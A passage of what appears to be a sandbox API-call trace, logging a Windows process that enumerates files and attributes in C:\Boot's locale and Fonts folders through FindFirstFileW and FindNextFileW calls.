ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0191.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.985] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750e90 [0191.985] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.985] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.985] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0191.985] FindClose (in: hFindFile=0x750e90 | out: hFindFile=0x750e90) returned 1 [0191.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.986] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0191.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.986] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750f10 [0191.986] FindNextFileW (in: hFindFile=0x750f10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.986] FindNextFileW (in: hFindFile=0x750f10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.986] FindNextFileW (in: hFindFile=0x750f10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0191.986] FindClose (in: hFindFile=0x750f10 | out: hFindFile=0x750f10) returned 1 [0191.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.986] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0191.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.987] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751210 [0192.066] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.066] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.066] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.066] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.066] FindClose (in: hFindFile=0x751210 | out: hFindFile=0x751210) returned 1 [0192.066] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.066] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0192.066] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.067] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750dd0 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0192.069] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0192.070] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0192.071] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0192.071] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0192.071] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0192.071] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0192.071] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0192.071] FindClose (in: hFindFile=0x750dd0 | out: hFindFile=0x750dd0) returned 1 [0192.072] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.072] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0192.072] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.072] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751450 [0192.073] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.073] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.073] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.073] FindClose (in: hFindFile=0x751450 | out: hFindFile=0x751450) returned 1 [0192.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.073] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0192.073] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.073] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751550 [0192.074] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 